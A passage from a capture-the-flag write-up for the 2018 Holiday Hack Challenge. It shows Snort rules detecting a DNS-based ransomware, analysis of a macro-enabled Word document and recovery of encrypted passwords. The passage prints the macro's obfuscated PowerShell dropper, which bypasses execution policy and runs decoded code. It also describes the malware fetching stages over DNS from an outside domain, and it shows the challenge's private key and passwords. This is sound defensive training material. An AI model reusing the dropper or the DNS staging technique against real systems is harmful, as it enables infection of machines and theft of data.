save these to our computer. We then merge these pcap files together (can use ​Wireshark ​or other tools). Then we
export the entire merged pcap to a csv file via ​WireShark​. Now we open it up in Excel/Google Doc/whatever, and can
see the data in this format:

Figure 60. Merged PCAP files exported to a CSV.

Doing this, we can quickly copy that G column and paste it into something like ​https://regexr.com/​ to create a regular
expression to capture the suspicious looking DNS names; however we notice that there is a pattern in the value of the
DNS names. The suspicious ones are the ones which have two numbers, a period, followed by another series of
numbers, and then some garbage domain name consisting of (usually) ten characters and a top level domain (e.g. .com,
.jp, .ru, .co.jp). Now that last part isn’t consistent, there are domains which do not have ten characters. These may be
another form of communication but we see that a regular expression created from the ​https://regexr.com/​ can capture
all of the random number domain names.

/( \d+\..+\.)\w+/g

This regular expression translates to match text with a white space, some numbers, a period, any number of characters,
followed by another period in the log. However, I soon discovered there was a common static string in the domain
names of ​77616E6E61636F6F6B69652E6D696E2E707331​ so creating a rule to detect client queries with that string to
54
outbound servers and servers responding with that string inbound flagged all the malware. Writing these rules to
/etc/snort/rules/local.rules (Figure ##) generates the appropriate alerts.

Figure 61. Snort rule 1 shown in VIM editor.

Malware Detection Snort Rule 1 Using RegEx:

alert udp $HOME_NET any -> $EXTERNAL_NET 53 ( msg:"Malicious DNS Query


Detected"; flow:to_server; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/";
sid:1000001; rev:1; )
alert udp $EXTERNAL_NET 53 -> $HOME_NET any ( msg:"Malicious DNS Query
Detected"; flow:to_client; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/";
sid:1000002; rev:1; )

As our astute team member Jevan points out, there is certainly a more appropriate snort command to detect this traffic.
Afterall, regular expressions are powerful, but they’re resource intensive compared to other options. After a quick RTFM
(Reading The FUN Manual) for writing rules atl
http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node28.html​ I quickly see another rule we can create.

This rule will look at the content of DNS/53 udp data payloads in packets and alert on matches our string from our
network to outside networks, and also from external systems to our network.

Malware Detection Snort Rule 2 Using Content Match on String:

alert udp $HOME_NET any -> $EXTERNAL_NET 53 ( msg:"Malware string detected in


DNS queries"; flow:to_server;content:"77616E6E61636F6F6B69652E6D696E2E707331";
sid:1000001; rev:1; )

alert udp $EXTERNAL_NET 53 -> $HOME_NET any ( msg:"Malware string detected in DNS
queries"; flow:from_server;content:"77616E6E61636F6F6B69652E6D696E2E707331";
sid:1000002; rev:1; )

Malware Detection Snort Rule 3 as a Single Bi-directional Rule:

alert udp $HOME_NET any <> $EXTERNAL_NET 53 ( msg:"Malware string detected in


DNS queries"; content:"77616E6E61636F6F6B69652E6D696E2E707331"; sid:1000001; rev:1; )

Using any of these rules will identify the malware and presents the answer to Objective Nine (Figure 56).

Figure 62. Success message shown when snort rules alert on all malware traffic.

55
Alabaster now has a request for us and provides a word document and password to decrypt the zip file:

Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.
Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word
document?
All the elves were emailed a cookie recipe right before all the infections. Take this ​document​ with a password of
elves a​ nd find the domain it communicates with.

Using pcaps to Analyze Malware functions


Since the string is all hex characters, maybe it is some kind of encoded commands. Running it through a reverse
hex dump via ​echo 77616E6E61636F6F6B69652E6D696E2E707331 | xxd -r -p​ we get the ascii text:
wannacookie.min.ps1

Let’s check out some of the other TXT queries and answers.

Focusing on the traffic to/from a specific infected host (e.g. 10.126.0.111), we see that the first TXT answer is 64. There
are then 64 subsequent TXT queries that follow the [Digit].[hex characters] format, with the digit values going from 0 to
63. Each response contains some unique hex characters in the answer section.

We can use ​tshark ​and ​xxd ​to extract and convert those responses like so:

tshark -r snort.log.1547242567.162339.pcap -Y 'ip.dst == 10.126.0.111 and


dns.qry.name matches "\\d\\.\\d"' -T fields -e dns.txt | xxd -r -p

-Y 'ip.dst == 10.126.0.111 and dns.qry.name matches "\\d\\.\\d"'

● Tells tshark to only show data from the responses to the 64 [Digit].[hex characters] format queries for that single
host

-T fields -e dns.txt

● Tells tshark to show to show the contents of the TXT response

Looking at the output we can see it is some PowerShell code. Adding new lines after each semicolon, and running the
code through a Beautifier like ​https://github.com/DTW-DanWard/PowerShell-Beautifier​, we can get the more readable
version show in the ​Appendix​.

This code is the malware (wannacookie.min.ps1 it seems) that the infected docm Alabaster gives us which ends up
downloading and executing. The code defines various utility functions before creating a function named `​wanc​` that
appears to perform the main functionality of encrypting or decrypting (after retrieving some data via DNS queries) our
*.elfdb files. Finally, on the last line, the script calls the `wanc` function to kick off the main functionality.

We don’t need the `wanc` function, and we definitely don’t want to run the final line that invokes `wanc`. But otherwise,
we can load up the utility functions and start playing with the code ourselves in Powershell.

Note: While we are going to be cautious when manually running the code, we always need to be mindful when working
with unfamiliar code (especially from suspected malware), and will be running in a disposable, scratch, virtual machine.

56
The malware retrieves data over DNS various times. In fact, we see the g_o_dns() utility function that implements the
scheme we saw in the snort DNS traffic (and in the second stage powershell script); Where longer content is
downloaded over multiple DNS queries; with the response to the first query being the number of subsequent queries
needed for the content (e.g. the query for 77616E6E61636F6F6B69652E6D696E2E707331 [aka wannacookie.min.ps1],
and then the queries for 0.77616E6E61636F6F6B69652E6D696E2E707331 through
63.77616E6E61636F6F6B69652E6D696E2E707331).

In the `wanc` function, we can see the code sets the variable $S1 to a hex string, before using $S1 as part of a DNS
query. The function exits early if the DNS query returns a non-null value. This seems like this might be the kill-switch
domain we’re looking for.

The value of $S1 isn’t used directly in the query, and it isn’t a simple ascii to hex encoding either. Instead it is a much
more complex process using binary, gzip, and hex transcoding, and even an bitwise XOR operation with the result of the
response to another DNS TXT query (of 6B696C6C737769746368.erohetfanu.com).

Since we’ve loaded the various utility functions into our Powershell session, we can use the malware’s own code to
determine what value is being passed to the `-Name` argument for the DNS query by running the follow snippet
extracted from the malware:

​ (H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server


$
erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))

Further malware analysis…

The wanc function downloads the certificate with the public key used for encryption using the g_o_dns() function with
the value 7365727665722E637274, which is “server.crt” in ASCII. We can run a modified version of the line like below to
save a copy of the certificate:

[System.Convert]::FromBase64String($(g_o_dns ("7365727665722E637274"))) | Out-File server.crt

We can then look at the certificate in a human readable format with openssl:

openssl x509 -in server.crt -inform der -noout -text

This definitely is interesting, but, based on the next objective, it seems we might be getting a bit ahead of ourselves…
Let’s table this analysis for now and move on.

Objective Ten - Ransomware Recovery - Identify the Domain


After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the
domain name the malware in the document downloads from? ​ ​Using the Word docm file, identify the domain name that
the malware communicates with.

For this part of the challenge we have to use a word document from Alabaster at
https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip​ and identify the
malware domain. We’ve already done this by analyzing the ​snort​ data and the ​wannacookie.min.ps1​ script, however,
this exercise will confirm the document as the entry point for the malware.

Note: If using Windows 10, the document may be flagged as a virus and it won’t let you work with it. Use an alternate
system or disable your virus protection at your own risk.

57
There are some pretty good tools to do forensics on documents with malicious payloads. This tactic is a common one
for attackers to infect systems by embedding exploits, macros, or scripts in PDF documents, word documents, and other
types of commonly exchanged documents. It’s common, because it bypasses firewalls because the malicious scripts
often point to external web pages and pull the malware into the computer/network after documents are open and the
macros or scripts in them are run. Firewalls typically allow outbound web traffic, and websites are commonly the source
for the scripts in documents.

Analyzing the document after extraction with the password Alabaster gave (it’s ​elves​) we can use the ​file​ command to
identify the specific type of document (although in this case it’s fairly obvious, and Alabaster told us it was a word
document):

# ​file​ CHOCOLATE_CHIP_COOKIE_RECIPE.docm

CHOCOLATE_CHIP_COOKIE_RECIPE.docm: Microsoft Word 2007+

Like, wow, Microsoft Word 2007...who uses that anymore? That’s kind odd, but let’s continue our pre-analysis before
we actually crack open this file.

We can then use a program called ​exiftool​ to pull metadata about the Word document. One thing sticks out during the
exiftool​ data dump, the MIME Type is set to macroEnabled which tells me this has some type of macro. Also the
malware author left a name of “Chris” as the document owner in the document metadata.

# ​exiftool ​CHOCOLATE_CHIP_COOKIE_RECIPE.docm
ExifTool Version Number : 11.16
File Name : CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Directory : .
File Size : 111 kB
File Modification Date/Time : 2018:12:17 09:46:28-08:00
File Access Date/Time : 2019:01:12 19:06:49-08:00
File Inode Change Date/Time : 2019:01:11 13:44:06-08:00
File Permissions : rw-r--r--
File Type : DOCM
File Type Extension : docm
MIME Type :
application/vnd.ms-word.document.macroEnabled

Executing ​exiftool -ee​ against the file gives us information about embedded files and we can see a binary embedded
inside the Microsoft Word document

Zip File Name : word/vbaProject.bin

A cool fact about Microsoft Office documents after Office 2007 is that they are really a zip file, that’s why we see that
Zip next to the vbaProject.bin (which is the default name used by MS Office scripts). We can actually unzip Office
Documents in the same way we unzip a zip file and look at all the contents. So that’s what we do

7z​ e CHOCOLATE_CHIP_COOKIE_RECIPE.docm

and we see the following output:

58
Figure 63. Extracted suspicious document and document contents.

vbaProject.bin was under the word/ folder. Navigating there we can run a POSIX utility called ​strings ​against the binary
to see if there are any useful strings inside of it..here we use the -n 10 options to give us only strings longer than 10
characters to avoid small and potentially less interesting strings.

strings ​-n 10 vbaProject.bin


...
powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object;
iex(a IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHR
SsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0
lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw
9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXis
pnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaM
SzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionM
ode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
...

This line sticks out because it’s calling Powershell. This line is executing a powershell script, then reading an obfuscated
string…..that looks like a good target for analysis.

Alternatively, we could use tool olevba, ​https://github.com/decalage2/oletools/wiki/olevba​, on the docm file to extract
the VBA macro. There we can see that the code above appears twice, both in the Document_Open() and AutoOpen()
subroutines.

59
Figure 64. VBA macro extracted using olevba tool from suspicious word document.

At this point, understanding what ​iex​ is doing is critical, and Chris Davis’ talk h
​ ttps://youtu.be/wd12XRq2DNk​ discusses
how to analyze this by removing the iex function which evaluates the string and invokes another instance of powershell.
Converting the string instead and sending output to another file/Powershell script gives us another powershell script

powershell.exe ExecutionPolicy Bypass -C "sal a New-Object; (a


IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHR
SsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0
lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw
9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXis
pnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaM
SzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionM
ode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1"

The powershell script creates a script which we see performing some DNS resolution and then outputs yet another
script.

Figure 65. Malware Dropper code from suspicious document shown in Windows PowerShell ISE.

60
This final script, which is ​source.ps1​ in our screenshot is the actual malware encryption/decryption/communication
program.

So we find our DNS name resolved by this script as well pointing to the domain ​erohetfanu.com​ and giving us the
answer to Objective/Question ten. If we drop the Out-string at the end and add another Out-File ​source.ps1​ we can
look at what this string creates/does.

Alabaster says

Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one
won't be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any
further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal
flaw and activate it!

Alabaster is recalling a massively successful malware named ​Wannacry ​which had code, or a kill switch, which required
activation of a weird domain that when reached by the malware prevented encrypting files. This was discovered by a
researcher who went by MalwareTech (aka Marcus Hutchins) in 2017. For more information about Wannacry and the
kill switch see ​https://www.wired.com/2017/05/accidental-kill-switch-slowed-fridays-massive-ransomware-attack​.

Objective Eleven - Ransomware Recovery - Stop the Malware


Identify a way to stop the malware in its tracks! Analyze the full malware source code to find a kill-switch and activate it
​ oHoHo Daddy.​ What is the full sentence text that appears on the domain
at the North Pole's domain registrar H
registration success message (bottom sentence)?

If we register a domain that is checked for when the malware first runs then we can effectively stop/kill the
malware. We already identified a line which stops the ​wanc​ function from encrypting content during our malware
analysis. We need to register the domain to stop the malware, which can be done via HoHoHo Daddy in Santa’s Secret
room.

During the ​analysis in Objective Nine​ we noted that within the `wanc` function, we can see code that sets the variable
$S1 to a hex string before using $S1 as part of a DNS query. The function exits early if the DNS query returns a non-null
value. This seems like this might be the kill-switch domain we’re looking for to stop the malware.

The value of $S1 isn’t used directly in the query, and it isn’t a simple ascii to hex encoding either. Instead it is a much
more complex process using binary, gzip, and hex transcoding, and even an bitwise XOR operation with the result of the
response to another DNS TXT query (of 6B696C6C737769746368.erohetfanu.com).

Since we’ve loaded the various utility functions into our Powershell session, we can use the malware’s own code to
determine what value is being passed to the `-Name` argument for the DNS query by running the follow snippet
extracted from the malware:

​ (H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server


$
erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))

This outputs a weird domain of

yippeekiyaa.aaay

61
Let’s try registering that domain in HoHoHo Daddy:

Figure 66. HoHoHo Daddy with malware kill switch domain on registration page.

We get a message saying the domain has been successfully registered.

Figure 67. Successful domain registration on HoHoHo Daddy of malware kill switch.

Alabaster now has additional information for us….

Yippee-Ki-Yay! Now, I have a ma... kill-switch!


Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing.
As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted
my password database.
Take this ​zip​ with a memory dump and my encrypted password database, and see if you can recover my
passwords.
One of the passwords will unlock our access to the vault so we can get in before the hackers.

62
Objective Twelve - Ransomware Recovery - Recover Alabaster’s Password
After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and
encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered
in the database for the Vault entry? Recover Alabaster’s password as found in the encrypted password vault.

So we now need to take a memory dump and the encrypted password database provided by Alabaster and
discover what the password is to open it. Extracting the zip file provides us with the two files to work with here:

alabaster_passwords.elfdb.wannacookie
powershell.exe_181109_104716.dmp

Alabaster mentioned a program called ​PowerDump ​which can pull strings from a memory dump at
https://github.com/chrisjd20/power_dump​. We can load this up and then use it to see what interesting strings are in
Alabaster’s memory dump.

From analysing the malware code, we can see that the author has cleared the variables that store the encryption key
after the encryption is complete, so we aren't likely to find those in our memory dump. Though the encryption key was
also itself encrypted and stored in a variable while being sent to the server, and that variable, $p_k_e_k, isn’t cleared.

Let’s see if we can find that encrypted encryption key from our memory dump. We can run the code that sets the
variables to see what type of value and length they end up being…

PS C:\hhc> $p_k_e_k
4fd94a55c733125a05883425b01b5662683d345d6378e8f210d999cc615e5a4f1caa5a253c12a58079e96f466a5b1c8c1a8
6be2a269adfdc43c76098c0f7c17f268548bdf75e718d2d2428e20a85f52532a6430842
722008aebca90638f5de06deba4d5db2173918b4bb4faae1590b182808ed33abf9df1e2c2ca858271a740067a1a128a8ce4
7fdb62b23d732b27b8611e1846d7b2d3adea49fe285438479cf34b8c7e982480152b329
9516a5c424971972e8289b3cce47518500b0b095c3083c846396f457bc226f2e69bc6e916999488d4405b592e44e2dc63a
4468db6d4b94d31c6b9fb98fdd396f5e8ec296e2c61a3e700c4132fa071148df1272ea18e1
PS C:\hhc>$p_k_e_k.Length
512

Cloning the git repository on our Linux system we start up PowerDump and load the memory dump. Now we process
the PowerShell Memory Dump File and search through it for any variables of interest

Figure 68. PowerDump prompt showing loaded and processed PowerShell script from Alabasters memory dump.

Now we add a few filters which narrow down the possible encryption keys by adding

matches "^[a-z0-9]+$"

63
and

len == 512

And we find a 512 byte encrypted key:

Figure 69. PowerDump variable matching our filter parameters.

The client encryption key was encrypted with a public key before being sent, so even after we get a copy from a
memory dump or network capture, we will still need the private key to decrypt the variable to get the key used to
encrypt the files. Maybe there’s a way to get the key from the server?

While we were ​analyzing the malware earlier​ with the copy we extracted from the snort pcaps, we saw how the
malware downloads the certificate with the public key over DNS with a call to the g_o_dns function:

g_o_dns ("7365727665722E637274")

7365727665722E637274​ ​is the hex encoding for ​server.crt​, maybe we should try and grab the private key over DNS as
well?

We can run the malware’s functions to try and grab the server’s private key via PowerShell with functions we loaded
from our wannacookie.min.ps1 example script (made safe so it doesn’t encrypt anything).

PS C:\hhc> g_o_dns (A2H("server.key"))

-----BEGIN PRIVATE KEY-----


MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN

64
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

Above is PEM (Privacy Enhanced Mail, a Base64 encoded DER certificate) encoded RSA private key. If we want to use it
with Windows based tools, we probably need to convert it to DER or PFX…

openssl rsa -in key.pem -outform DER -out keyout.der

OR

openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt


-certfile CACert.crt

We can verify that the private key corresponds to the public key in server.crt by ensuring each has the same modulus.
We can view each modulus with the following openssl commands:

$ openssl x509 -inform der -in server.crt -noout -text | sed -n '/[Mm]odulus:/,/[0-9a-z]$/p'
Modulus:
00:c4:88:dc:d9:55:46:d7:09:b3:06:2f:8b:0c:d9:
4b:62:95:1e:2c:78:46:65:8b:60:8c:a0:32:7b:de:
a1:ea:97:eb:52:a7:0b:4a:f7:2e:0b:eb:39:cb:0c:
b5:92:03:ab:af:1f:e9:66:1e:18:5e:a7:db:a2:5b:
7b:ef:1d:80:aa:f8:c6:b9:12:58:c1:ae:fc:10:cb:
47:b6:0a:bf:ea:78:d0:6b:74:cb:50:b3:d2:a4:c4:
c2:40:cf:47:d1:25:85:ef:b5:60:0d:14:91:79:03:
e3:6a:8c:8f:a3:74:c5:6d:2f:cf:8f:54:e1:96:a7:
53:c0:f0:34:96:ee:2f:bd:78:b9:2a:3d:b3:43:c4:
27:c5:84:01:86:94:71:14:f9:c1:f4:09:3a:1b:d1:
20:79:1e:4d:12:4c:f5:0a:28:95:5c:dd:fb:03:f3:
fb:7a:d3:22:53:84:2c:38:18:a9:11:c0:6f:2f:a9:
c4:02:80:01:95:41:e2:cd:60:93:04:16:fd:3e:58:
70:2d:d9:6c:63:59:3b:b7:1e:70:1f:30:fb:22:12:
79:3f:cb:5d:92:c0:73:82:b5:a3:63:15:1f:06:b7:
9d:76:0f:b8:9d:15:55:b8:a7:9b:13:d2:6a:eb:32:
26:09:fb:bc:7a:55:e3:08:92:bc:38:b6:4f:f5:66:

65
56:0d

$ openssl rsa -in server.key -noout -text | sed -n '/[Mm]odulus:/,/[0-9a-z]$/p'


modulus:
00:c4:88:dc:d9:55:46:d7:09:b3:06:2f:8b:0c:d9:
4b:62:95:1e:2c:78:46:65:8b:60:8c:a0:32:7b:de:
a1:ea:97:eb:52:a7:0b:4a:f7:2e:0b:eb:39:cb:0c:
b5:92:03:ab:af:1f:e9:66:1e:18:5e:a7:db:a2:5b:
7b:ef:1d:80:aa:f8:c6:b9:12:58:c1:ae:fc:10:cb:
47:b6:0a:bf:ea:78:d0:6b:74:cb:50:b3:d2:a4:c4:
c2:40:cf:47:d1:25:85:ef:b5:60:0d:14:91:79:03:
e3:6a:8c:8f:a3:74:c5:6d:2f:cf:8f:54:e1:96:a7:
53:c0:f0:34:96:ee:2f:bd:78:b9:2a:3d:b3:43:c4:
27:c5:84:01:86:94:71:14:f9:c1:f4:09:3a:1b:d1:
20:79:1e:4d:12:4c:f5:0a:28:95:5c:dd:fb:03:f3:
fb:7a:d3:22:53:84:2c:38:18:a9:11:c0:6f:2f:a9:
c4:02:80:01:95:41:e2:cd:60:93:04:16:fd:3e:58:
70:2d:d9:6c:63:59:3b:b7:1e:70:1f:30:fb:22:12:
79:3f:cb:5d:92:c0:73:82:b5:a3:63:15:1f:06:b7:
9d:76:0f:b8:9d:15:55:b8:a7:9b:13:d2:6a:eb:32:
26:09:fb:bc:7a:55:e3:08:92:bc:38:b6:4f:f5:66:
56:0d

Now that we have the corresponding private key, we can try and use it to decrypt the ciphertext we extracted from the
memory dump and hopefully get back the key used to encrypt the files.

Looking back at the output of our search through the memory dump (Figure 69). We found the 512 character variable
that should be the hex encoded version of the encryption key encrypted with the public key from server.crt. Let’s export
a binary copy of the value represented in that variable…

$a_p_k_e_k =
'3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7
a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147
abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be440
29ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678e
a16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a7715256
3906a2c29c6d12f971'

# Write out as hex (can then use `xxd -r -p encrypted.key.hex encrypted.key` to convert to binary)
$a_p_k_e_k | Out-File encrypted.key.hex

# OR Write directly as binary file via PowerShell…


[io.file]::WriteAllBytes('/tmp/hhc/encrypted.key', $(H2B($a_p_k_e_k)))

Then using openssl we can try to decrypt… Our first attempt fails with a padding error…

$ openssl rsautl -decrypt -inkey server.key -in encrypted.key -out decrypted.key


RSA operation error
140735842214856:error:0407106B:rsa routines:RSA_padding_check_PKCS1_type_2:block type is not
02:/BuildRoot/Library/Caches/com.apple.xbs/Sources/libressl/libressl-22.50.2/libressl/crypto/rsa/rs
a_pk1.c:193:
140735842214856:error:04065072:rsa routines:RSA_EAY_PRIVATE_DECRYPT:padding check
failed:/BuildRoot/Library/Caches/com.apple.xbs/Sources/libressl/libressl-22.50.2/libressl/crypto/rs
a/rsa_eay.c:602:

66
We know we have a proper public/private key pair, and there was only one candidate variable when we searched with
power_dump.py, so perhaps we should try some different padding options before giving up with this set of keys/cipher
text…

We can get the (still padded) decrypted message by using openssl with the `-raw` parameter. Then we can see the first
byte is 0x00 and likely from the padding.. but whatever the scheme, it isn’t especially easy to pull out the non-padded
text by-hand.

Just trying the options that openssl supports, we seem to have success when we add the `-oaep` parameter to our
openssl command. This is specifying, PKCS#1 OAEP, and appears successful, as we no longer get an error message, and
end up with a 16 byte decrypted.key file.

$ openssl rsautl -decrypt -inkey server.key -in encrypted.key -out decrypted.key -oaep
$ wc -c decrypted.key
16 decrypted.key

Rather than trial and error, we can look at the Powershell code and find the relevant documentation to find what
padding option was used…

​$encKey​ = ​$cert​.PublicKey.Key.Encrypt(​$key_bytes​,​$true​)​;

We can find the documentation for the Encrypt method at:


https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rsacryptoserviceprovider.encrypt?view=net
framework-4.7.2#System_Security_Cryptography_RSACryptoServiceProvider_Encrypt_System_Byte___System_Boolean
_

The code passes True for the second parameter to the Encrypt method, which according to the documentation means it
will be using OAEP padding.

Armed with the symmetric encryption key, we can try and decrypt Alabaster’s alabaster_passwords.elfdb.wannacookie
file.

Rather than write our own decryption code, we’ll try and reuse the malware’s functions. Though we will have to add
some code to load in the encryption key we just decrypted, and to kickoff the decryption function on the proper file.

#read in a binary file…


$my_key = [System.IO.File]::ReadAllBytes("decrypted.key")

# decrypt file using `e_n_d` function like `wanc` does…

# Load any encrypted (*.wannacookie) files found under the user profile directory
# (namely alabaster_passwords.elfdb.wannacookie)
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie |
Where-Object { !$_.PSIsContainer } | ForEach-Object { $_.FullName });

#Decrypt the files using the e_n_d utility function


e_n_d $my_key $f_c $false;

When it’s done running, we should see that alabaster_passwords.elfdb.wannacookie is now gone, and instead we have
the encrypted version in alabaster_passwords.elfdb
67
Now lets see what we can find in alabaster_passwords.elfdb…

$ file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002

$ sqlite3 alabaster_passwords.elfdb
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .tables
passwords
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
sqlite>

Looking at the password table, we can see the password for “vault” is “ED#ED#EED#EF#G#F#G#ABA#BA#B”, which
would appear to be the notes to a song and the Answer to Objective twelve.

Alabaster now says


I'm seriously impressed by your security skills. How could I forget that I used Rachmaninoff as my musical password?
Congratulations, you've stopped Hans! Now solve all remaining objectives in your badge.
YAY! You won!

Terminal Challenge – Sleigh Bell Lottery


It seems Shinny is stuck up a tree with no solution to their lottery hacking, I hope we’re not breaking any official
contest rules by debugging this problem :P

Figure 70. Shinny and The Sleighbell terminal challenge.

Shinny greets us by saying

68
Hi, I'm Shinny Upatree.
Hey! Mind giving ole' Shinny Upatree some help? There's a contest I HAVE to win.
As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!
I'll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.

So for this challenge we need to use GNU Debugger. GNU Debugger is a program to debug other programs while they’re
executing (​https://www.gnu.org/software/gdb/​). Logging into the console we see the following shown in Figure 65.

Figure 71. The Sleighbell terminal showing initial login information.

